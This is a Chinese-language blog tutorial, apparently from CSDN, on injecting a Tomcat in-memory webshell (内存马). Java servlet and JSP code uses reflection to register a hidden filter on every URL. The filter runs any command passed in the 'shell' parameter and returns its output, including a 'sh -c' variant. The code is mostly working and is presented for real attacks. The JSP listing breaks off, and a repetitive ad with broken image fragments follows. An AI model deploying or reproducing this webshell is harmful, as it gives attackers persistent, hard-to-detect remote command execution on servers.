import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
@WebServlet(name = “TomcatServletTest”, urlPatterns = “/tomcatServletTest”)
public class TomcatServletTest extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter writer = response.getWriter();
try {
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Class<ApplicationContextFacade> applicationContextFacadeClass = ApplicationContextFacade.class;
Field applicationContextField = applicationContextFacadeClass.getDeclaredField("context");
applicationContextField.setAccessible(true);
Object applicationContextObj = applicationContextField.get(applicationContextFacade);
ApplicationContext applicationContext = (ApplicationContext) applicationContextObj;
Class<ApplicationContext> applicationContextClass = ApplicationContext.class;
Field standardContextField = applicationContextClass.getDeclaredField("context");
standardContextField.setAccessible(true);
Object standardContextObj = standardContextField.get(applicationContext);
writer.append("ServletContext instance's class is: ")
.append(servletContext.getClass().getCanonicalName())
.append("\r\n")
.append("\r\n")
.append("ApplicationContext instance's class is: ")
.append(applicationContextObj.getClass().getCanonicalName())
.append("\r\n")
.append("\r\n")
.append("StandardContext instance's class is:")
.append(standardContextObj.getClass().getCanonicalName());
} catch (Exception e) {
e.printStackTrace(writer);
}
}
}
![](https://img-blog.csdnimg.cn/e7524d91b7c0460e98e01f157edcb617.png)
### 0x01 通过servlet动态创建一个filter
Servlet0811.java
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Scanner;
import java.util.logging.Logger;
@WebServlet(urlPatterns = “/Filter07”)
public class Servlet0811 extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
try {
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField(“context”);
applicationContextFacadeContext.setAccessible(true); //设置在使用构造器的时候不执行权限检查 表示不检测方法是否为public或者private,否则抛出异常 Class Servlet0811 can not access a member of class org.apache.catalina.core.StandardContext with modifiers “private”
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField(“context”);
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext); // 获取所有filters
String filtername = "Filter";
if (hashMap.get(filtername) == null) { // 首次加载没有这个filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
log.info("注入初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest, servletResponse); // 加这句话为了不影响原程序功能,把filter向后传递
HttpServletRequest req = (HttpServletRequest) request;
InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
log.info("过滤中...");
}
@Override
public void destroy() {
Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
log.info("destroy");
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filtername);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filtername);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); // 调用 new Filter(){ init(FilterConfig filterConfig) }
//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filtername, applicationFilterConfig);
response.getWriter().println("success");
}
} catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
首次访问,注入内存马成功:
![](https://img-blog.csdnimg.cn/70d3b1b408a640c6a27a577d81a54454.png)
继续访问内存马,执行命令:
![](https://img-blog.csdnimg.cn/1a1d0562831e4004a77938d465d64717.png)
如果你感兴趣filter的执行调用顺序, 我在程序里打了断点调试,你可以尝试下断点分析,我的断点截图如下:
![](https://img-blog.csdnimg.cn/ba49e58f9a544ec19d81ec3f5269d9f1.png)
![](https://img-blog.csdnimg.cn/a42bf5c41816492aa12aa2734da6a6e6.png)
![](https://img-blog.csdnimg.cn/fae474bf63ed4ccd977752250c17683e.png)
### 0x02 实战注入内存马
实战中不会依赖于xml或注解,通过jsp方式可以实现动态注入一个内存马。
index.jsp
<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.Context” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page import=“java.lang.reflect.Constructor” %>
<%@ page import=“org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=“org.apache.catalina.core.ApplicationContextFacade” %>
<%@ page import=“org.apache.catalina.core.ApplicationContext” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“java.util.HashMap” %>
<%@ page import=“java.io.IOException” %>
<%@ page import=“java.util.logging.Logger” %>
<%@ page import=“java.io.InputStream” %>
<%@ page import=“java.util.Scanner” %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField(“context”);
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField(“context”);
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Logger log = Logger.getLogger("Filter");
log.info("注入初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest, servletResponse);
HttpServletRequest req = (HttpServletRequest) request;
// 获取单个命令的返回结果
InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
/* 获取多个命令的返回结果 // ?shell=whoami%20%26%20id
String param=req.getParameter("shell");
InputStream in = Runtime.getRuntime().exec(new String[]{"sh", "-c",param}).getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while((line = reader.readLine())!= null){
response.getWriter().write(line);
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
toEpHDs-1715881574098)]
[外链图片转存中…(img-wgF80tJd-1715881574098)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!